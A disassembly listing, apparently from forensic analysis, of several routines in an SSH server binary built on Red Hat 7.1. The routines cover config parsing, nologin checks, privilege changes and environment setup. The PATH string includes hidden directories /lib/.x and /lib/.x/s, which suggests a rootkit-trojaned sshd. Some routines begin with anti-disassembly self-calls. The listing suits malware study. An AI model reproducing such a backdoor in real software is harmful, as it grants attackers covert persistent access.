0804d3b6   8b 04 b3                        mov     (%ebx,%esi,4),%eax
0804d3b9   85 c0                           test    %eax,%eax
0804d3bb   0f 85 d7 ff ff ff               jne     0804d398 <Unknown0016+0x28>   ;-41 'xd7 xff xff xff' ""
0804d3c1   eb 03                           jmp     0804d3c6 <Unknown0016+0x56>
0804d3c3   90                              nop
0804d3c4   31 c0                           xor     %eax,%eax
0804d3c6   85 c0                           test    %eax,%eax
0804d3c8   74 0e                           je      0804d3d8 <Unknown0016+0x68>
0804d3ca   83 ec 0c                        sub     $0xc,%esp
0804d3cd   50                              push    %eax
0804d3ce   e8 3d 9b 00 00                  call    08056f10 <Unknown0172>
0804d3d3   83 c4 10                        add     $0x10,%esp
0804d3d6   eb 30                           jmp     0804d408 <Unknown0016+0x98>
0804d3d8   8b 4d 0c                        mov     0xc(%ebp),%ecx
0804d3db   8b 11                           mov     (%ecx),%edx
0804d3dd   8d 42 ff                        lea     0xffffffff(%edx),%eax
0804d3e0   39 c6                           cmp     %eax,%esi
0804d3e2   72 1c                           jb      0804d400 <Unknown0016+0x90>
```

```
0804d3e4   8d 42 32               lea     0x32(%edx),%eax
0804d3e7   89 01                  mov     %eax,(%ecx)
0804d3e9   83 ec 08               sub     $0x8,%esp
0804d3ec   c1 e0 02               shl     $0x2,%eax
0804d3ef   50                     push    %eax
0804d3f0   53                     push    %ebx
0804d3f1   e8 ce 9a 00 00         call    08056ec4 <Unknown0171>
0804d3f6   8b 55 08               mov     0x8(%ebp),%edx
0804d3f9   89 02                  mov     %eax,(%edx)
0804d3fb   89 c3                  mov     %eax,%ebx
0804d3fd   83 c4 10               add     $0x10,%esp
0804d400   c7 44 b3 04 00 00 00 00  movl  $0x0,0x4(%ebx,%esi,4)  ;0 'x0 x0 x0 x0' ""
0804d408   8b 7d 10               mov     0x10(%ebp),%edi
0804d40b   fc                     cld
0804d40c   31 c0                  xor     %eax,%eax
0804d40e   b9 ff ff ff ff         mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0804d413   f2 ae                  repnz scas %es:(%edi),%al
0804d415   89 ca                  mov     %ecx,%edx
0804d417   8b 7d 14               mov     0x14(%ebp),%edi
0804d41a   b9 ff ff ff ff         mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0804d41f   f2 ae                  repnz scas %es:(%edi),%al
0804d421   f7 d2                  not     %edx
0804d423   f7 d1                  not     %ecx
0804d425   01 d1                  add     %edx,%ecx
0804d427   83 ec 0c               sub     $0xc,%esp
0804d42a   51                     push    %ecx
0804d42b   e8 60 9a 00 00         call    08056e90 <Unknown0170>
0804d430   89 04 b3               mov     %eax,(%ebx,%esi,4)
0804d433   5f                     pop     %edi
0804d434   ff 75 14               pushl   0x14(%ebp)
0804d437   ff 75 10               pushl   0x10(%ebp)
0804d43a   68 80 d3 06 08         push    $0x806d380  ;[in .rodata] 624784165 'x25 x73 x3d x25' "%s=%s"
0804d43f   8b 7d 10               mov     0x10(%ebp),%edi
0804d442   fc                     cld
0804d443   31 c0                  xor     %eax,%eax
0804d445   b9 ff ff ff ff         mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0804d44a   f2 ae                  repnz scas %es:(%edi),%al
0804d44c   89 ca                  mov     %ecx,%edx
0804d44e   8b 7d 14               mov     0x14(%ebp),%edi
0804d451   b9 ff ff ff ff         mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0804d456   f2 ae                  repnz scas %es:(%edi),%al
0804d458   f7 d2                  not     %edx
0804d45a   f7 d1                  not     %ecx
0804d45c   01 d1                  add     %edx,%ecx
0804d45e   51                     push    %ecx
0804d45f   ff 34 b3               pushl   (%ebx,%esi,4)
0804d462   e8 75 ce ff ff         call    0804a2dc <snprintf>
0804d467   8d 65 f4               lea     0xfffffff4(%ebp),%esp
0804d46a   5b                     pop     %ebx
0804d46b   5e                     pop     %esi
0804d46c   5f                     pop     %edi
0804d46d   5d                     pop     %ebp
0804d46e   c3                     ret
0804d46f   90                     nop


  ;
  ; >---------------------<  Subroutine #  17 >---------------------<
  ;
0804d470 <Unknown0017>:
0804d470   55                     push    %ebp
0804d471   89 e5                  mov     %esp,%ebp
0804d473   57                     push    %edi
0804d474   56                     push    %esi
0804d475   53                     push    %ebx
0804d476   81 ec 14 10 00 00      sub     $0x1014,%esp  ;4116 'x14 x10 x0 x0' ""
0804d47c   68 61 d3 06 08         push    $0x806d361  ;[in .rodata] 1697579122 'x72 x0 x2f x65' "r"
0804d481   ff 75 10               pushl   0x10(%ebp)
0804d484   e8 53 cf ff ff         call    0804a3dc <fopen>
0804d489   89 c7                  mov     %eax,%edi
0804d48b   83 c4 10               add     $0x10,%esp
0804d48e   85 ff                  test    %edi,%edi
0804d490   0f 84 bb 00 00 00      je      0804d551 <Unknown0017+0xe1>  ;187 'xbb x0 x0 x0' ""
0804d496   8d b5 e8 ef ff ff      lea     0xffffefe8(%ebp),%esi  ;-4120 'xe8 xef xff xff' ""
0804d49c   e9 8f 00 00 00         jmp     0804d530 <Unknown0017+0xc0>  ;143 'x8f x0 x0 x0' ""
0804d4a1   8d 76 00               lea     0x0(%esi),%esi
0804d4a4   8a 85 e8 ef ff ff      mov     0xffffefe8(%ebp),%al  ;-4120 'xe8 xef xff xff' ""
0804d4aa   3c 20                  cmp     $0x20,%al
0804d4ac   89 f3                  mov     %esi,%ebx
0804d4ae   eb 05                  jmp     0804d4b5 <Unknown0017+0x45>
0804d4b0   43                     inc     %ebx
0804d4b1   8a 03                  mov     (%ebx),%al
0804d4b3   3c 20                  cmp     $0x20,%al
0804d4b5   0f 84 f5 ff ff ff      je      0804d4b0 <Unknown0017+0x40>  ;-11 'xf5 xff xff xff' ""
```

```
0804d4bb  3c 09              cmp    $0x9,%al
0804d4bd  0f 84 ed ff ff ff  je     0804d4b0 <Unknown0017+0x40>   ;-19 'xed xff xff xff' ""
0804d4c3  84 c0              test   %al,%al
0804d4c5  74 69              je     0804d530 <Unknown0017+0xc0>
0804d4c7  3c 23              cmp    $0x23,%al
0804d4c9  74 65              je     0804d530 <Unknown0017+0xc0>
0804d4cb  3c 0a              cmp    $0xa,%al
0804d4cd  74 61              je     0804d530 <Unknown0017+0xc0>
0804d4cf  83 ec 08           sub    $0x8,%esp
0804d4d2  6a 0a              push   $0xa
0804d4d4  53                 push   %ebx
0804d4d5  e8 82 c7 ff ff     call   08049c5c <strchr>
0804d4da  83 c4 10           add    $0x10,%esp
0804d4dd  85 c0              test   %eax,%eax
0804d4df  74 11              je     0804d4f2 <Unknown0017+0x82>
0804d4e1  83 ec 08           sub    $0x8,%esp
0804d4e4  6a 0a              push   $0xa
0804d4e6  53                 push   %ebx
0804d4e7  e8 70 c7 ff ff     call   08049c5c <strchr>
0804d4ec  83 c4 10           add    $0x10,%esp
0804d4ef  c6 00 00           movb   $0x0,(%eax)
0804d4f2  83 ec 08           sub    $0x8,%esp
0804d4f5  6a 3d              push   $0x3d
0804d4f7  53                 push   %ebx
0804d4f8  e8 5f c7 ff ff     call   08049c5c <strchr>
0804d4fd  83 c4 10           add    $0x10,%esp
0804d500  85 c0              test   %eax,%eax
0804d502  75 18              jne    0804d51c <Unknown0017+0xac>
0804d504  56                 push   %esi
0804d505  ff 75 10           pushl  0x10(%ebp)
0804d508  68 86 d3 06 08     push   $0x806d386   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad line in
                                                  %.100s: %.200s"
0804d50d  ff 35 0c 9c 07 08  pushl  0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                  (Red Hat Linux 7.1 2.96-79)"
0804d513  e8 e4 c7 ff ff     call   08049cfc <fprintf>
0804d518  eb 13              jmp    0804d52d <Unknown0017+0xbd>
0804d51a  89 f6              mov    %esi,%esi
0804d51c  c6 00 00           movb   $0x0,(%eax)
0804d51f  40                 inc    %eax
0804d520  50                 push   %eax
0804d521  53                 push   %ebx
0804d522  ff 75 0c           pushl  0xc(%ebp)
0804d525  ff 75 08           pushl  0x8(%ebp)
0804d528  e8 43 fe ff ff     call   0804d370 <Unknown0016>
0804d52d  83 c4 10           add    $0x10,%esp
0804d530  51                 push   %ecx
0804d531  57                 push   %edi
0804d532  68 00 10 00 00     push   $0x1000   ;4096 'x0 x10 x0 x0' ""
0804d537  56                 push   %esi
0804d538  e8 6f cb ff ff     call   0804a0ac <fgets>
0804d53d  83 c4 10           add    $0x10,%esp
0804d540  85 c0              test   %eax,%eax
0804d542  0f 85 5c ff ff ff  jne    0804d4a4 <Unknown0017+0x34>   ;-164 'x5c xff xff xff' "\"
0804d548  83 ec 0c           sub    $0xc,%esp
0804d54b  57                 push   %edi
0804d54c  e8 fb cc ff ff     call   0804a24c <fclose>
0804d551  8d 65 f4           lea    0xfffffff4(%ebp),%esp
0804d554  5b                 pop    %ebx
0804d555  5e                 pop    %esi
0804d556  5f                 pop    %edi
0804d557  5d                 pop    %ebp
0804d558  c3                 ret
0804d559  8d 76 00           lea    0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine #  18 >--------------------<
  ;
0804d55c <Unknown0018>:
0804d55c  55                 push   %ebp
0804d55d  89 e5              mov    %esp,%ebp
0804d55f  57                 push   %edi
0804d560  56                 push   %esi
0804d561  53                 push   %ebx
0804d562  81 ec 34 04 00 00  sub    $0x434,%esp   ;1076 'x34 x4 x0 x0' "4"
0804d568  68 61 d3 06 08     push   $0x806d361    ;[in .rodata] 1697579122 'x72 x0 x2f x65' "r"
0804d56d  68 a2 d3 06 08     push   $0x806d3a2    ;[in .rodata] 1668572463 'x2f x65 x74 x63'
                                                   "/etc/nologin"
0804d572  8b 7d 0c           mov    0xc(%ebp),%edi
0804d575  c7 85 f0 fb ff ff 00 00 00 00  movl   $0x0,0xfffffbf0(%ebp)  ;0 'x0 x0 x0 x0' ""
0804d57f  e8 58 ce ff ff     call   0804a3dc <fopen>
0804d584  89 c6              mov    %eax,%esi
0804d586  83 c4 10           add    $0x10,%esp
0804d589  85 f6              test   %esi,%esi
```

```
0804d58b  74 6b                    je     0804d5f8 <Unknown0018+0x9c>
0804d58d  83 ec 08                 sub    $0x8,%esp
0804d590  68 c0 d3 06 08           push   $0x806d3c0   ;[in .rodata] 1768386380 'x4c x6f x67 x69' "Logins are
                                                        currently denied by /etc/nologin:"
0804d595  ff 35 0c 9c 07 08        pushl  0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                        (Red Hat Linux 7.1 2.96-79)"
0804d59b  e8 5c c7 ff ff           call   08049cfc <fprintf>
0804d5a0  83 c4 10                 add    $0x10,%esp
0804d5a3  8d 9d e8 fe ff ff        lea    0xfffffee8(%ebp),%ebx  ;-280 'xe8 xfe xff xff' ""
0804d5a9  eb 13                    jmp    0804d5be <Unknown0018+0x62>
0804d5ab  90                       nop
0804d5ac  83 ec 08                 sub    $0x8,%esp
0804d5af  ff 35 0c 9c 07 08        pushl  0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                        (Red Hat Linux 7.1 2.96-79)"
0804d5b5  53                       push   %ebx
0804d5b6  e8 11 cb ff ff           call   0804a0cc <fputs>
0804d5bb  83 c4 10                 add    $0x10,%esp
0804d5be  52                       push   %edx
0804d5bf  56                       push   %esi
0804d5c0  68 00 01 00 00           push   $0x100   ;256 'x0 x1 x0 x0' ""
0804d5c5  53                       push   %ebx
0804d5c6  e8 e1 ca ff ff           call   0804a0ac <fgets>
0804d5cb  83 c4 10                 add    $0x10,%esp
0804d5ce  85 c0                    test   %eax,%eax
0804d5d0  0f 85 d6 ff ff ff        jne    0804d5ac <Unknown0018+0x50>   ;-42 'xd6 xff xff xff' ""
0804d5d6  83 ec 0c                 sub    $0xc,%esp
0804d5d9  56                       push   %esi
0804d5da  e8 6d cc ff ff           call   0804a24c <fclose>
0804d5df  8b 77 08                 mov    0x8(%edi),%esi
0804d5e2  83 c4 10                 add    $0x10,%esp
0804d5e5  85 f6                    test   %esi,%esi
0804d5e7  74 12                    je     0804d5fb <Unknown0018+0x9f>
0804d5e9  83 ec 0c                 sub    $0xc,%esp
0804d5ec  68 fe 00 00 00           push   $0xfe   ;254 'xfe x0 x0 x0' ""
0804d5f1  e8 56 cd ff ff           call   0804a34c <exit>
0804d5f6  89 f6                    mov    %esi,%esi
0804d5f8  8b 77 08                 mov    0x8(%edi),%esi
0804d5fb  8b 45 08                 mov    0x8(%ebp),%eax
0804d5fe  85 c0                    test   %eax,%eax
0804d600  74 27                    je     0804d629 <Unknown0018+0xcd>
0804d602  85 f6                    test   %esi,%esi
0804d604  75 0e                    jne    0804d614 <Unknown0018+0xb8>
0804d606  83 ec 08                 sub    $0x8,%esp
0804d609  ff 75 08                 pushl  0x8(%ebp)
0804d60c  68 00 d4 06 08           push   $0x806d400   ;[in .rodata] 1667594341 'x65 x78 x65 x63' "executing
                                                        remote command as root: %.200s"
0804d611  eb 0b                    jmp    0804d61e <Unknown0018+0xc2>
0804d613  90                       nop
0804d614  83 ec 08                 sub    $0x8,%esp
0804d617  ff 37                    pushl  (%edi)
0804d619  68 40 d4 06 08           push   $0x806d440   ;[in .rodata] 1667594341 'x65 x78 x65 x63' "executing
                                                        remote command as user %.200s"
0804d61e  e8 f9 25 00 00           call   0804fc1c <Unknown0036>
0804d623  83 c4 10                 add    $0x10,%esp
0804d626  8b 77 08                 mov    0x8(%edi),%esi
0804d629  8b 47 0c                 mov    0xc(%edi),%eax
0804d62c  83 ec 0c                 sub    $0xc,%esp
0804d62f  89 85 e8 fb ff ff        mov    %eax,0xfffffbe8(%ebp)   ;-1048 'xe8 xfb xff xff' ""


  ;
  ; >---------------------<  Subroutine #  19 >---------------------<
  ;
0804d631 <Unknown0019>:
0804d631  e8 fb ff ff ff           call   0804d631 <Unknown0019>
0804d636  77 14                    ja     0804d64c <Unknown0019+0x1b>
0804d638  e8 fb 98 00 00           call   08056f38 <Unknown0173>
0804d63d  5b                       pop    %ebx
0804d63e  89 85 e4 fb ff ff        mov    %eax,0xfffffbe4(%ebp)   ;-1052 'xe4 xfb xff xff' ""
0804d644  ff 37                    pushl  (%edi)
0804d646  e8 ed 98 00 00           call   08056f38 <Unknown0173>
0804d64b  59                       pop    %ecx
0804d64c  89 85 e0 fb ff ff        mov    %eax,0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
0804d652  ff 77 18                 pushl  0x18(%edi)
0804d655  e8 de 98 00 00           call   08056f38 <Unknown0173>
0804d65a  89 c7                    mov    %eax,%edi
0804d65c  e8 cb 36 00 00           call   08050d2c <Unknown0056>
0804d661  89 04 24                 mov    %eax,(%esp,1)
0804d664  e8 cf 98 00 00           call   08056f38 <Unknown0173>
0804d669  89 85 dc fb ff ff        mov    %eax,0xfffffbdc(%ebp)   ;-1060 'xdc xfb xff xff' ""
0804d66f  e8 8c 38 00 00           call   08050f00 <Unknown0059>
0804d674  89 85 d8 fb ff ff        mov    %eax,0xfffffbd8(%ebp)   ;-1064 'xd8 xfb xff xff' ""
0804d67a  e8 e5 86 00 00           call   08055d64 <Unknown0129>
0804d67f  89 c3                    mov    %eax,%ebx
```

```
0804d681  e8 ea 86 00 00          call    08055d70 <Unknown0130>
0804d686  83 c4 10                add     $0x10,%esp
0804d689  39 c3                   cmp     %eax,%ebx
0804d68b  75 0b                   jne     0804d698 <Unknown0019+0x67>
0804d68d  83 ec 10                sub     $0x10,%esp
0804d690  e8 cf 86 00 00          call    08055d64 <Unknown0129>
0804d695  eb 16                   jmp     0804d6ad <Unknown0019+0x7c>
0804d697  90                      nop
0804d698  83 ec 10                sub     $0x10,%esp
0804d69b  e8 c4 86 00 00          call    08055d64 <Unknown0129>
0804d6a0  89 04 24                mov     %eax,(%esp,1)
0804d6a3  e8 34 c6 ff ff          call    08049cdc <close>
0804d6a8  e8 c3 86 00 00          call    08055d70 <Unknown0130>
0804d6ad  89 04 24                mov     %eax,(%esp,1)
0804d6b0  e8 27 c6 ff ff          call    08049cdc <close>
0804d6b5  83 c4 10                add     $0x10,%esp
0804d6b8  e8 db bb 00 00          call    08059298 <Unknown0201>
0804d6bd  e8 4a cc ff ff          call    0804a30c <endpwent>
0804d6c2  e8 85 c7 ff ff          call    08049e4c <endhostent>
0804d6c7  6a 00                   push    $0x0
0804d6c9  6a 03                   push    $0x3
0804d6cb  6a 20                   push    $0x20
0804d6cd  68 80 c4 06 08          push    $0x806c480   ;[in .rodata] 858927408 'x30 x31 x32 x33'
                                                         "0123456789ABCDEF0123456789ABCDEF"
0804d6d2  e8 99 88 00 00          call    08055f70 <Unknown0137>
0804d6d7  c7 04 24 40 fc 07 08    movl    $0x807fc40,(%esp,1)   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804d6de  e8 79 79 00 00          call    0805505c <Unknown0109>
0804d6e3  83 c4 0c                add     $0xc,%esp
0804d6e6  68 e4 04 00 00          push    $0x4e4   ;1252 'xe4 x4 x0 x0' ""
0804d6eb  6a 00                   push    $0x0
0804d6ed  68 40 fc 07 08          push    $0x807fc40   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804d6f2  e8 b5 cc ff ff          call    0804a3ac <memset>
0804d6f7  83 c4 10                add     $0x10,%esp
0804d6fa  e8 0d cb ff ff          call    0804a20c <getuid>
0804d6ff  85 c0                   test    %eax,%eax
0804d701  74 0d                   je      0804d710 <Unknown0019+0xdf>
0804d703  e8 c4 cd ff ff          call    0804a4cc <geteuid>
0804d708  85 c0                   test    %eax,%eax
0804d70a  0f 85 c1 00 00 00       jne     0804d7d1 <Unknown0020+0x8c>   ;193 'xc1 x0 x0 x0' ""
0804d710  83 ec 0c                sub     $0xc,%esp
0804d713  ff b5 e8 fb ff ff       pushl   0xfffffbe8(%ebp)   ;-1048 'xe8 xfb xff xff' ""
0804d719  e8 3e c7 ff ff          call    08049e5c <setgid>
0804d71e  83 c4 10                add     $0x10,%esp
0804d721  85 c0                   test    %eax,%eax
0804d723  79 1b                   jns     0804d740 <Unknown0019+0x10f>
0804d725  83 ec 0c                sub     $0xc,%esp
0804d728  68 68 d4 06 08          push    $0x806d468   ;[in .rodata] 1735681395 'x73 x65 x74 x67' "setgid"
0804d72d  e8 ba c5 ff ff          call    08049cec <perror>
0804d732  c7 04 24 01 00 00 00    movl    $0x1,(%esp,1)   ;1 'x1 x0 x0 x0' ""
0804d739  e8 0e cc ff ff          call    0804a34c <exit>
0804d73e  89 f6                   mov     %esi,%esi
0804d740  83 ec 08                sub     $0x8,%esp
0804d743  ff b5 e8 fb ff ff       pushl   0xfffffbe8(%ebp)   ;-1048 'xe8 xfb xff xff' ""


   ;
   ; >---------------------<  Subroutine #  20 >---------------------<
   ;
0804d745 <Unknown0020>:
0804d745  e8 fb ff ff ff          call    0804d745 <Unknown0020>
0804d74a  b5 e0                   mov     $0xe0,%ch
0804d74c  fb                      sti
0804d74d  ff                      (bad)
0804d74e  ff e8                   ljmp    *%eax
0804d750  d8 c6                   fadd    %st(6),%st
0804d752  ff                      (bad)
0804d753  ff 83 c4 10 85 c0       incl    0xc08510c4(%ebx)   ;-1065021244 'xc4 x10 x85 xc0' ""
0804d759  79 19                   jns     0804d774 <Unknown0020+0x2f>
0804d75b  83 ec 0c                sub     $0xc,%esp
0804d75e  68 6f d4 06 08          push    $0x806d46f   ;[in .rodata] 1953066601 'x69 x6e x69 x74' "initgroups"
0804d763  e8 84 c5 ff ff          call    08049cec <perror>
0804d768  c7 04 24 01 00 00 00    movl    $0x1,(%esp,1)   ;1 'x1 x0 x0 x0' ""
0804d76f  e8 d8 cb ff ff          call    0804a34c <exit>
0804d774  e8 a3 cc ff ff          call    0804a41c <endgrent>
0804d779  bb 03 00 00 00          mov     $0x3,%ebx   ;3 'x3 x0 x0 x0' ""
0804d77e  89 f6                   mov     %esi,%esi
0804d780  e8 4f ca 00 00          call    0805a1d4 <Unknown0214>
0804d785  39 c3                   cmp     %eax,%ebx
0804d787  74 0c                   je      0804d795 <Unknown0020+0x50>
0804d789  83 ec 0c                sub     $0xc,%esp
0804d78c  53                      push    %ebx
0804d78d  e8 4a c5 ff ff          call    08049cdc <close>
0804d792  83 c4 10                add     $0x10,%esp
0804d795  43                      inc     %ebx
```

```
0804d796  83 fb 3f                   cmp     $0x3f,%ebx
0804d799  0f 86 e1 ff ff ff          jbe     0804d780 <Unknown0020+0x3b>   ;-31 'xe1 xff xff xff' ""
0804d79f  83 ec 0c                   sub     $0xc,%esp
0804d7a2  56                         push    %esi
0804d7a3  e8 d4 cc ff ff             call    0804a47c <setuid>
0804d7a8  83 c4 10                   add     $0x10,%esp
0804d7ab  85 c0                      test    %eax,%eax
0804d7ad  79 22                      jns     0804d7d1 <Unknown0020+0x8c>
0804d7af  83 ec 10                   sub     $0x10,%esp
0804d7b2  e8 85 c6 ff ff             call    08049e3c <__errno_location>
0804d7b7  5a                         pop     %edx
0804d7b8  ff 30                      pushl   (%eax)
0804d7ba  e8 2d c6 ff ff             call    08049dec <strerror>
0804d7bf  83 c4 0c                   add     $0xc,%esp
0804d7c2  50                         push    %eax
0804d7c3  56                         push    %esi
0804d7c4  68 7a d4 06 08             push    $0x806d47a   ;[in .rodata] 1970562419 'x73 x65 x74 x75' "setuid %d:
                                                          %.100s"
0804d7c9  e8 8e 27 00 00             call    0804ff5c <Unknown0044>
0804d7ce  83 c4 10                   add     $0x10,%esp
0804d7d1  e8 36 ca ff ff             call    0804a20c <getuid>
0804d7d6  39 f0                      cmp     %esi,%eax
0804d7d8  75 09                      jne     0804d7e3 <Unknown0020+0x9e>
0804d7da  e8 ed cc ff ff             call    0804a4cc <geteuid>
0804d7df  39 f0                      cmp     %esi,%eax
0804d7e1  74 11                      je      0804d7f4 <Unknown0020+0xaf>
0804d7e3  83 ec 08                   sub     $0x8,%esp
0804d7e6  56                         push    %esi
0804d7e7  68 8c d4 06 08             push    $0x806d48c   ;[in .rodata] 1818845510 'x46 x61 x69 x6c' "Failed to
                                                          set uids to %d."
0804d7ec  e8 6b 27 00 00             call    0804ff5c <Unknown0044>
0804d7f1  83 c4 10                   add     $0x10,%esp
0804d7f4  e8 6b 1b 01 00             call    0805f364 <Unknown0295>
0804d7f9  89 bd ec fb ff ff          mov     %edi,0xfffffbec(%ebp)   ;-1044 'xec xfb xff xff' ""
0804d7ff  80 3f 00                   cmpb    $0x0,(%edi)
0804d802  75 0a                      jne     0804d80e <Unknown0020+0xc9>
0804d804  c7 85 ec fb ff ff a6 d4 06 08  movl  $0x806d4a6,0xfffffbec(%ebp)   ;[in .rodata] 1852400175 'x2f
                                                          x62 x69 x6e' "/bin/sh"
0804d80e  8b 9d f0 fb ff ff          mov     0xfffffbf0(%ebp),%ebx   ;-1040 'xf0 xfb xff xff' ""
0804d814  85 db                      test    %ebx,%ebx
0804d816  75 26                      jne     0804d83e <Unknown0020+0xf9>
0804d818  83 ec 0c                   sub     $0xc,%esp
0804d81b  68 90 01 00 00             push    $0x190   ;400 'x90 x1 x0 x0' ""
0804d820  c7 85 f4 fb ff ff 64 00 00 00  movl  $0x64,0xfffffbf4(%ebp)   ;100 'x64 x0 x0 x0' "d"
0804d82a  e8 61 96 00 00             call    08056e90 <Unknown0170>
0804d82f  89 85 f0 fb ff ff          mov     %eax,0xfffffbf0(%ebp)   ;-1040 'xf0 xfb xff xff' ""
0804d835  c7 00 00 00 00 00          movl    $0x0,(%eax)   ;0 'x0 x0 x0 x0' ""
0804d83b  83 c4 10                   add     $0x10,%esp
0804d83e  ff b5 e4 fb ff ff          pushl   0xfffffbe4(%ebp)   ;-1052 'xe4 xfb xff xff' ""
0804d844  68 ae d4 06 08             push    $0x806d4ae   ;[in .rodata] 1162694472 'x48 x4f x4d x45' "HOME"
0804d849  8d 9d f4 fb ff ff          lea     0xfffffbf4(%ebp),%ebx   ;-1036 'xf4 xfb xff xff' ""
0804d84f  53                         push    %ebx
0804d850  8d bd f0 fb ff ff          lea     0xfffffbf0(%ebp),%edi   ;-1040 'xf0 xfb xff xff' ""
0804d856  57                         push    %edi
0804d857  e8 14 fb ff ff             call    0804d370 <Unknown0016>
0804d85c  ff b5 e0 fb ff ff          pushl   0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
0804d862  68 b3 d4 06 08             push    $0x806d4b3   ;[in .rodata] 1380275029 'x55 x53 x45 x52' "USER"
0804d867  53                         push    %ebx
0804d868  57                         push    %edi
0804d869  e8 02 fb ff ff             call    0804d370 <Unknown0016>
0804d86e  83 c4 20                   add     $0x20,%esp
0804d871  ff b5 e0 fb ff ff          pushl   0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
0804d877  68 b8 d4 06 08             push    $0x806d4b8   ;[in .rodata] 1313296204 'x4c x4f x47 x4e' "LOGNAME"
0804d87c  53                         push    %ebx
0804d87d  57                         push    %edi
0804d87e  e8 ed fa ff ff             call    0804d370 <Unknown0016>
0804d883  68 c0 d4 06 08             push    $0x806d4c0   ;[in .rodata] 1852400175 'x2f x62 x69 x6e'
```

```
                                                                          bin:/usr/local/sbin:/lib/.x:/lib/.x/s"
0804d888   68 0f d5 06 08        push    $0x806d50f   ;[in .rodata] 1213481296 'x50 x41 x54 x48' "PATH"
0804d88d   53                    push    %ebx
0804d88e   57                    push    %edi
0804d88f   e8 dc fa ff ff        call    0804d370 <Unknown0016>
0804d894   83 c4 14              add     $0x14,%esp
0804d897   ff b5 e0 fb ff ff     pushl   0xfffffbe0(%ebp)   ;-1056 'xe0 xfb xff xff' ""
0804d89d   68 14 d5 06 08        push    $0x806d514   ;[in .rodata] 1918989871 'x2f x76 x61 x72'
                                                         "/var/spool/mail"
0804d8a2   68 24 d5 06 08        push    $0x806d524   ;[in .rodata] 808594981 'x25 x2e x32 x30'
                                                         "%.200s/%.50s"
0804d8a7   68 00 01 00 00        push    $0x100   ;256 'x0 x1 x0 x0' ""
0804d8ac   8d b5 e8 fe ff ff     lea     0xffffffe8(%ebp),%esi   ;-280 'xe8 xfe xff xff' ""
0804d8b2   56                    push    %esi
0804d8b3   e8 24 ca ff ff        call    0804a2dc <snprintf>
0804d8b8   83 c4 20              add     $0x20,%esp
0804d8bb   56                    push    %esi
0804d8bc   68 31 d5 06 08        push    $0x806d531   ;[in .rodata] 1279869261 'x4d x41 x49 x4c' "MAIL"
0804d8c1   53                    push    %ebx
0804d8c2   57                    push    %edi
0804d8c3   e8 a8 fa ff ff        call    0804d370 <Unknown0016>
0804d8c8   ff b5 ec fb ff ff     pushl   0xfffffbec(%ebp)   ;-1044 'xec xfb xff xff' ""
0804d8ce   68 36 d5 06 08        push    $0x806d536   ;[in .rodata] 1279608915 'x53 x48 x45 x4c' "SHELL"
0804d8d3   89 da                 mov     %ebx,%edx
0804d8d5   52                    push    %edx
0804d8d6   57                    push    %edi
0804d8d7   e8 94 fa ff ff        call    0804d370 <Unknown0016>
0804d8dc   a1 b8 7b 07 08        mov     0x8077bb8,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0804d8e1   83 c4 20              add     $0x20,%esp
0804d8e4   85 c0                 test    %eax,%eax
0804d8e6   74 12                 je      0804d8fa <Unknown0020+0x1b5>
0804d8e8   50                    push    %eax
0804d8e9   68 3c d5 06 08        push    $0x806d53c   ;[in .rodata] 1598575443 'x53 x53 x48 x5f'
                                                         "SSH_ORIGINAL_COMMAND"
0804d8ee   89 d8                 mov     %ebx,%eax
0804d8f0   50                    push    %eax
0804d8f1   57                    push    %edi
0804d8f2   e8 79 fa ff ff        call    0804d370 <Unknown0016>
0804d8f7   83 c4 10              add     $0x10,%esp
```

```
0804d8fa   83 ec 0c                  sub     $0xc,%esp
0804d8fd   68 51 d5 06 08            push    $0x806d551   ;[in .rodata] 620780116 'x54 x5a x0 x25' "TZ"
0804d902   e8 15 c4 ff ff            call    08049d1c <getenv>
0804d907   83 c4 10                  add     $0x10,%esp
0804d90a   85 c0                     test    %eax,%eax
0804d90c   74 26                     je      0804d934 <Unknown0020+0x1ef>
0804d90e   83 ec 0c                  sub     $0xc,%esp
0804d911   68 51 d5 06 08            push    $0x806d551   ;[in .rodata] 620780116 'x54 x5a x0 x25' "TZ"
0804d916   e8 01 c4 ff ff            call    08049d1c <getenv>
0804d91b   83 c4 10                  add     $0x10,%esp
0804d91e   50                        push    %eax
0804d91f   68 51 d5 06 08            push    $0x806d551   ;[in .rodata] 620780116 'x54 x5a x0 x25' "TZ"
0804d924   8d 95 f4 fb ff ff         lea     0xfffffbf4(%ebp),%edx   ;-1036 'xf4 xfb xff xff' ""
0804d92a   52                        push    %edx
0804d92b   57                        push    %edi
0804d92c   e8 3f fa ff ff            call    0804d370 <Unknown0016>
0804d931   83 c4 10                  add     $0x10,%esp
0804d934   8b 1d bc 7b 07 08         mov     0x8077bbc,%ebx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804d93a   85 db                     test    %ebx,%ebx
0804d93c   74 77                     je      0804d9b5 <Unknown0020+0x270>
0804d93e   89 f6                     mov     %esi,%esi
0804d940   8b 4b 04                  mov     0x4(%ebx),%ecx
0804d943   8a 01                     mov     (%ecx),%al
0804d945   31 f6                     xor     %esi,%esi
0804d947   3c 3d                     cmp     $0x3d,%al
0804d949   b2 3d                     mov     $0x3d,%dl
0804d94b   74 1d                     je      0804d96a <Unknown0020+0x225>
0804d94d   84 c0                     test    %al,%al
0804d94f   74 17                     je      0804d968 <Unknown0020+0x223>
0804d951   8d 76 00                  lea     0x0(%esi),%esi
0804d954   46                        inc     %esi
0804d955   8a 14 0e                  mov     (%esi,%ecx,1),%dl
0804d958   80 fa 3d                  cmp     $0x3d,%dl
0804d95b   74 0d                     je      0804d96a <Unknown0020+0x225>
0804d95d   84 d2                     test    %dl,%dl
